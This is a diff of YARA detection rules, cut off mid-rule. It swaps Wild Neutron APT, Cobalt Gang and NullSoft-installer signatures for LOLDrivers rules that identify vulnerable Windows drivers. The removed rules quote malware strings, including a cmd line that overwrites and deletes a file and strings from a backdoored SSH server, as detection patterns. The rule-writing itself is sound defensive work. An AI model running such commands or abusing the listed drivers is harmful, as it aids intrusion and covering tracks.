-		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_wildneutron.yar#L110-L133"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1604e36ccef5fa221b101d7f043ad7f856b84bf1a80774aa33d91c2a9a226206"
-		logic_hash = "57792a54c96c59a1e9ed961715c72187936aee6f001c2ed4f95ca84e799e9c8c"
-		score = 60
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
+		author = "Florian Roth"
+		id = "05b5dc1a-9507-512f-9f1c-42cd36a2666f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8335-L8354"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f62911334068c9edd44b9c3e8dee8155a0097aa331dd4566a61afa3549f35f65"
+		hash = "0cf91e8f64a7c98dbeab21597bd76723aee892ed8fa4ee44b09f9e75089308e2"
+		logic_hash = "b4ad3eedff5e41aa07d42c46dd5ef97ef281c049ed676e6b93474f21e20da428"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "LiveUpdater.exe" fullword wide
-		$s1 = "id-at-postalAddress" fullword ascii
-		$s2 = "%d -> %d (default)" fullword wide
-		$s3 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide
-		$s4 = "sha-1WithRSAEncryption" fullword ascii
-		$s5 = "Postal code" fullword ascii
-		$s6 = "id-ce-keyUsage" fullword ascii
-		$s7 = "Key Usage" fullword ascii
-		$s8 = "TLS-RSA-WITH-3DES-EDE-CBC-SHA" fullword ascii
-		$s9 = "%02d.%04d.%s" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c002000580054006900650072002000530065007300730069006f006e0020004d0061006e0061006700650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310030 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310032002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Wildneutron_Sample_6 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Cyreninc_Amp_Cyrenamp_CBB8 : FILE
 {
 	meta:
-		description = "Wild Neutron APT Sample Rule"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c5d87cad-d1ca-5766-90c1-fc8ecfa3f14f"
-		date = "2015-07-10"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_wildneutron.yar#L135-L149"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4bd548fe07b19178281edb1ee81c9711525dab03dc0b6676963019c44cc75865"
-		logic_hash = "7dc7f9815f2b2c934ecf93f5813bdb87364b2b9e2a5aebc04f76cfff43e46d30"
-		score = 60
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - amp.sys"
+		author = "Florian Roth"
+		id = "a2b01649-d98b-5d99-9fb3-e9a648db62ad"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8357-L8376"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "cbb8239a765bf5b2c1b6a5c8832d2cab8fef5deacadfb65d8ed43ef56d291ab6"
+		logic_hash = "79514ed74f7ca8fae3b4a36ae240d325fb70555cb8371e03a498b6fb9992b961"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "mshtaex.exe" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d00500020004d0069006e006900660069006c007400650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043005900520045004e00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0034002e00310031002e0031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0034002e00310031002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d0050 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005900520045004e00200041004d005000200035 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0061006d0070002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9002000310039003900390020002d00200032003000310034002e00200043005900520045004e00200049006e0063002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <310KB and all of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Wildneutron_Sample_7 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Netfiltersdkcom_Lgdcatchersys_Netfiltersdk_0C42 : FILE
 {
 	meta:
-		description = "Wild Neutron APT Sample Rule"
-		author = "Florian Roth (Nextron Systems)"
-		id = "22561c55-4294-50c9-a9b9-7b4ed98eec09"
-		date = "2015-07-10"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_wildneutron.yar#L151-L176"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a14d31eb965ea8a37ebcc3b5635099f2ca08365646437c770212d534d504ff3c"
-		logic_hash = "8a081932be8fd03c37a87486570a02a31756ba6bd125dbed7da9703197447ea5"
-		score = 60
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - LgDCatcher.sys"
+		author = "Florian Roth"
+		id = "3659a46f-25cf-5f9f-9ac5-578e2ffa6e45"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8379-L8398"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0c42fe45ffa9a9c36c87a7f01510a077da6340ffd86bf8509f02c6939da133c5"
+		logic_hash = "ca3a99d2b899c907450d0a975db142d391135f70d8f6e42f937e03e2b0c7a9ce"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "checking match for '%s' user %s host %s addr %s" fullword ascii
-		$s1 = "PEM_read_bio_PrivateKey failed" fullword ascii
-		$s2 = "usage: %s [-ehR] [-f log_facility] [-l log_level] [-u umask]" fullword ascii
-		$s3 = "%s %s for %s%.100s from %.200s port %d%s" fullword ascii
-		$s4 = "clapi32.dll" fullword ascii
-		$s5 = "Connection from %s port %d" fullword ascii
-		$s6 = "/usr/etc/ssh_known_hosts" fullword ascii
-		$s7 = "Version: %s - %s %s %s %s" fullword ascii
-		$s8 = "[-] connect()" fullword ascii
-		$s9 = "/bin/sh /usr/etc/sshrc" fullword ascii
-		$s10 = "kexecdhs.c" fullword ascii
-		$s11 = "%s: setrlimit(RLIMIT_FSIZE, { 0, 0 }): %s" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e0065007400460069006c007400650072002000530044004b002000540044004900200048006f006f006b0020004400720069007600650072002000280057005000500029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0065007400460069006c00740065007200530044004b002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0034002e0039002e00380020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0035002e0038002e0039 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004c006700440043006100740063006800650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e0065007400460069006c007400650072002000530044004b }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004c006700440043006100740063006800650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020003f0020004e0065007400460069006c00740065007200530044004b002e0063006f006d }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5000KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Wildneutron_Sample_9 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Supermicrocomputerinc_Superbmc_Superbmc_F843 : FILE
 {
 	meta:
-		description = "Wild Neutron APT Sample Rule"
-		author = "Florian Roth (Nextron Systems)"
-		id = "dbfdbe8c-4a4a-5512-a03d-e9f80c853d48"
-		date = "2015-07-10"
-		modified = "2023-01-06"
-		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_wildneutron.yar#L203-L223"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "781eb1e17349009fbae46aea5c59d8e5b68ae0b42335cb035742f6b0f4e4087e"
-		logic_hash = "2029c94088e075cbcbae8d7d514cfc56add022d8776e59f04824d9ce9fd12794"
-		score = 60
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - superbmc.sys"
+		author = "Florian Roth"
+		id = "bf870b5d-ab2d-587d-a7ce-da7a02960d2c"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8401-L8420"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f8430bdc6fd01f42217d66d87a3ef6f66cb2700ebb39c4f25c8b851858cc4b35"
+		logic_hash = "a628c561060c20f97c03b11be8c6d475b390d10ee7bf8dff9cc05600d68b8fc8"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s0 = "http://get.adobe.com/flashplayer/" wide
-		$s4 = " Player Installer/Uninstaller" fullword wide
-		$s5 = "Adobe Flash Plugin Updater" fullword wide
-		$s6 = "uSOFTWARE\\Adobe" fullword wide
-		$s11 = "2008R2" fullword wide
-		$s12 = "%02d.%04d.%s" fullword wide
-		$s13 = "%d -> %d" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]007300750070006500720062006d0063 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300750070006500720020004d006900630072006f00200043006f006d00700075007400650072002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007300750070006500720062006d0063 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]007300750070006500720062006d0063 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007300750070006500720062006d0063002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280063002900200031003900390033002d00320030003100350020005300750070006500720020004d006900630072006f00200043006f006d00700075007400650072002c00200049006e0063002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1477KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Wildneutron_Sample_10 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_1023 : FILE
 {
 	meta:
-		description = "Wild Neutron APT Sample Rule"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5654a36f-8502-5e18-b8f3-94d4add466a7"
-		date = "2015-07-10"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_wildneutron.yar#L225-L267"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1d3bdabb350ba5a821849893dabe5d6056bf7ba1ed6042d93174ceeaa5d6dad7"
-		logic_hash = "b282b6892f9cb6769bf0e302deaa8062fd69bfd51144bc06fc9501fde9537dae"
-		score = 60
-		quality = 83
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "45f59f43-b8eb-5c58-a386-a7bb19a88253"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8423-L8442"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1023dcd4c80db19e9f82f95b1c5e1ddb60db7ac034848dd5cc1c78104a6350f4"
+		logic_hash = "5dd553f7a90a5680d1a250a951e0166a526690dbef5fe431fa37347b3a5f2078"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$n1 = "/c for /L %%i in (1,1,2) DO ping 127.0.0.1 -n 3 & type %%windir%%\\notepad.exe > %s & del /f %s" fullword ascii
-		$s1 = "%SYSTEMROOT%\\temp\\_dbg.tmp" fullword ascii
-		$s2 = "%SYSTEMROOT%\\SysWOW64\\mspool.dll" fullword ascii
-		$s3 = "%SYSTEMROOT%\\System32\\dpcore16t.dll" fullword ascii
-		$s4 = "%SYSTEMROOT%\\System32\\wdigestEx.dll" fullword ascii
-		$s5 = "%SYSTEMROOT%\\System32\\mspool.dll" fullword ascii
-		$s6 = "%SYSTEMROOT%\\System32\\kernel32.dll" fullword ascii
-		$s7 = "%SYSTEMROOT%\\SysWOW64\\iastor32.exe" fullword ascii
-		$s8 = "%SYSTEMROOT%\\System32\\msvcse.exe" fullword ascii
-		$s9 = "%SYSTEMROOT%\\System32\\mshtaex.exe" fullword ascii
-		$s10 = "%SYSTEMROOT%\\System32\\iastor32.exe" fullword ascii
-		$s11 = "%SYSTEMROOT%\\SysWOW64\\mshtaex.exe" fullword ascii
-		$x1 = "wdigestEx.dll" fullword ascii
-		$x2 = "dpcore16t.dll" fullword ascii
-		$x3 = "mspool.dll" fullword ascii
-		$x4 = "msvcse.exe" fullword ascii
-		$x5 = "mshtaex.exe" fullword wide
-		$x6 = "iastor32.exe" fullword ascii
-		$y1 = "Installer.exe" fullword ascii
-		$y2 = "Info: Process %s" fullword ascii
-		$y3 = "Error: GetFileTime %s 0x%x" fullword ascii
-		$y4 = "Install succeeded" fullword ascii
-		$y5 = "Error: RegSetValueExA 0x%x" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0031002e0033003800300030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0031002e0033003800300030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and ($n1 or (1 of ($s*) and 1 of ($x*) and 3 of ($y*)))
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_Wildneutron_Javacpl : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_F877 : FILE
 {
 	meta:
-		description = "Wild Neutron APT Sample Rule"
-		author = "Florian Roth (Nextron Systems)"
-		id = "de82827e-61d4-559e-886a-78d5293ab141"
-		date = "2015-07-10"
-		modified = "2023-01-06"
-		old_rule_name = "WildNeutron_javacpl"
-		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_wildneutron.yar#L272-L300"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c9cb6ab956d29df9f59520262ab308a0256747cc3c898979347304950e093098"
-		score = 60
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		id = "b2a52cf7-6f64-5409-8764-e26f7b9e45c8"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8445-L8465"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f877296e8506e6a1acbdacdc5085b18c6842320a2775a329d286bac796f08d54"
+		hash = "de3597ae7196ca8c0750dce296a8a4f58893774f764455a125464766fcc9b3b5"
+		logic_hash = "65966a05952fcf57b8d722154fe6dcafba49fffa0494086e1ff2bf76229d0c78"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "683f5b476f8ffe87ec22b8bab57f74da4a13ecc3a5c2cbf951999953c2064fc9"
-		hash2 = "758e6b519f6c0931ff93542b767524fc1eab589feb5cfc3854c77842f9785c92"
-		hash3 = "8ca7ed720babb32a6f381769ea00e16082a563704f8b672cb21cf11843f4da7a"
 
 	strings:
-		$s1 = "RunFile: couldn't find ShellExecuteExA/W in SHELL32.DLL!" ascii fullword
-		$s2 = "cmdcmdline" wide fullword
-		$s3 = "\"%s\" /K %s" wide fullword
-		$s4 = "Process is not running any more" wide fullword
-		$s5 = "dpnxfsatz" wide fullword
-		$op1 = { ff d6 50 ff 15 ?? ?? 43 00 8b f8 85 ff 74 34 83 64 24 0c 00 e8 ?? ?? 02 00 }
-		$op2 = { b8 02 00 00 00 01 45 80 01 45 88 6a 00 47 52 89 7d 8c 03 d8 }
-		$op3 = { 8b c7 f7 f6 46 89 b5 c8 fd ff ff 0f b7 c0 8b c8 0f af ce 3b cf }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0031002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0031002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003500200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5MB and ( all of ($s*) or all of ($op*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Cobaltgang_PDF_Metadata_Rev_A
+rule LOLDRIVERS_PUA_VULN_Driver_Nvidiacorp_Nvoclocksys_Nvidiasystemutilitydriver_AE3A : FILE
 {
 	meta:
-		description = "Find documents saved from the same potential Cobalt Gang PDF template"
-		author = "Palo Alto Networks Unit 42"
-		id = "bcf5bf6e-c786-5f78-bf58-e0631a17e62e"
-		date = "2018-10-25"
-		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_cobalt_gang_pdf.yar#L1-L12"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8020ccff761b49d98e18cd5cb3c0695956a88e86a0958bfba1a19b7e3e629bb9"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nvoclock.sys"
+		author = "Florian Roth"
+		id = "9c9c668c-f83c-5166-a4ae-717709df5e70"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8468-L8487"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ae3a6a0726f667658fc3e3180980609dcb31bdbf833d7cb76ba5d405058d5156"
+		logic_hash = "7ff6b127fcdbe2a1612d46fccdf23d0fbaa2f6a91a54b718658ebd2d3fea8bce"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$ = "<xmpMM:DocumentID>uuid:31ac3688-619c-4fd4-8e3f-e59d0354a338" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00560049004400490041002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0056004900440049004100200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00300033002e00310032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00300033002e00310032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00560049004400490041002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9004e0056004900440049004100200043006f00720070002e00200032003000300033002d0032003000300034 }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_SUSP_Nullsoftinst_Combo_Oct20_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Almicosoftware_Sfdrvxsys_Speedfan_X_AD23 : FILE
 {
 	meta:
-		description = "Detects suspicious NullSoft Installer combination with common Copyright strings"
-		author = "Florian Roth (Nextron Systems)"
-		id = "380f30a6-df6b-50c6-bb2d-b8785564bbac"
-		date = "2020-10-06"
-		modified = "2023-12-05"
-		reference = "https://twitter.com/malwrhunterteam/status/1313023627177193472"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_anomalies_keyword_combos.yar#L2-L33"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8aef24295281da5ffa1c6f865eaa6cc8d60ea1df670058220bdb97651b6114cd"
-		score = 65
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - sfdrvx32.sys"
+		author = "Florian Roth"
+		id = "df1de7d1-dd2a-5c6c-980d-a080b343f4f7"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8490-L8509"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ad23d77a38655acb71216824e363df8ac41a48a1a0080f35a0d23aa14b54460b"
+		logic_hash = "8cdd734afe9bdf25157395096e64bfa743e4f17e1bde796269d6b5c875147561"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "686b5240e5e503528cc5ac8d764883413a260716dd290f114a60af873ee6a65f"
-		hash2 = "93951379e57e4f159bb62fd7dd563d1ac2f3f23c80ba89f2da2e395b8a647dcf"
-		hash3 = "a9ca1d6a981ccc8d8b144f337c259891a67eb6b85ee41b03699baacf4aae9a78"
 
 	strings:
-		$a1 = "NullsoftInst" ascii
-		$b1 = "Microsoft Corporation" wide fullword
-		$b2 = "Apache Software Foundation" ascii wide fullword
-		$b3 = "Simon Tatham" wide fullword
-		$fp1 = "nsisinstall" fullword ascii
-		$fp2 = "\\REGISTRY\\MACHINE\\Software\\" wide
-		$fp3 = "Apache Tomcat" wide fullword
-		$fp4 = "Bot Framework Emulator" wide fullword
-		$fp5 = "Firefox Helper" wide fullword
-		$fp6 = "Paint.NET Setup" wide fullword
-		$fp7 = "Microsoft .NET Services Installation Utility" wide fullword
-		$fp8 = "License: MPL 2" wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530070006500650064002000460061006e00200078003300320020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006c006d00690063006f00200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00580034002e00340033002e00300034 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00580034002e00340033002e00300034 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730066006400720076007800330032002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530070006500650064002000460061006e }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730066006400720076007800330032002e007300790073 }
